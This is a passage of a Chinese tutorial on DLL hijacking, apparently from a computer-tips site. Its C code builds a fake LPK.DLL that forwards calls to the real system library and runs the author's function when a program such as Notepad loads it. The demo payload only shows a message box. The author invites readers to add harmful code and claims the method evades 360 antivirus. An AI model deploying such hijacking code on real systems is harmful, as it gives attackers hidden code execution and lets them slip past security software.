__asm JMP EAX;
}
★
转发完之后不要忘记LpkEditControl哦,要将真实数据复制过来。lpkdll核心代码如下:
★
memcpy((LPVOID)(LpkEditControl1), (LPVOID)((int*)GetAddress("LpkEditControl") 1),52);
★
好了,到这里整个DLL劫持基本就算完成了,也许你要问,那我们要执行的代码写在哪里?我的方法是将其写到初始化函数中。这样当DLL被加载的时候就会执行。下面看一下DLL的入口函数吧。
★
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if(Load())
{
memcpy((LPVOID)(LpkEditControl1), (LPVOID)((int*)GetAddress("LpkEditControl") 1),52);
_beginthread(Init,NULL,NULL);
}
else
return FALSE;
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
★
在这个函数中我们看到,当加载系统目录下的LPK.DLL成功后,进行了LpkEditControl数组的复制,并通过_beginthread(Init,NULL,NULL);定义了初始化函数Init,而这个初始化函数是由我们控制的。
下面在初始化函数Init中写入测试代码如下:
★
void WINAPIV Init(LPVOID pParam);
void WINAPIV Init(LPVOID pParam)
{
TCHAR tzPath[MAX_PATH];
TCHAR tzTemp[MAX_PATH * 2];
wsprintf(tzTemp, TEXT("劫持函数运行了......."), tzPath);
MessageBox(NULL, tzTemp, TEXT("gamehacker"), MB_ICONSTOP);
return;
}
★
我们用弹出一个对话框来检测一下劫持的效果,当然你也可以加入更加邪恶的代码。猫癣、犇牛等病毒都是利用DLL劫持技术破坏系统的。
看一下效果。将编译好的LPK.DLL复制到记事本相同目录,然后运行记事本程序。看看是不是弹出来可爱的测试窗?
当然你也可以将这个LPK.DLL复制到任何程序的目录,只要该目录的程序一运行,就会执行我们的代码。如果代码的功能是连续弹出N个测试窗,我想一定会让人很崩溃。
DLL劫持技术的基本原理和简单实现就讲到这里了。在测试的时候发现360安全卫士并没有拦截我们的代码,看来利用DLL劫持是可以过360检测的。lpkdll
本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/jisuanjixue/article-42986-4.html
质检局自己去买来检测的是假货
你是厂家派来的逗比吗